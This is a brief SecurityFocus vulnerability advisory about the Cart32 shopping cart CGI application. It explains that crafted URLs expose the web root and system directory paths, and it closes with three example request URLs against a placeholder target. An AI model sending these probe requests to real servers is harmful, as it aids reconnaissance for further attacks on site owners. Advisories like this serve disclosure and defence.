source : https://www.securityfocus.com/bid/1932/info

Cart32 is a shopping cart application for e-commerce enabled sites.

Cart32 contains a vulnerability which reveals server information. Requesting a specially crafted URL, by way of the CGI application, will reveal the physical path to the web root as well to the Windows and Program files directory.

Successful exploitation of this vulnerability could assist in further attacks against the victim host.

http://target/cgi-bin/cart32.exe/error 
http://target/cgi-bin/c32web.exe/ShowAdminDir 
http://target/cgi-bin/c32web.exe/CheckError?error=53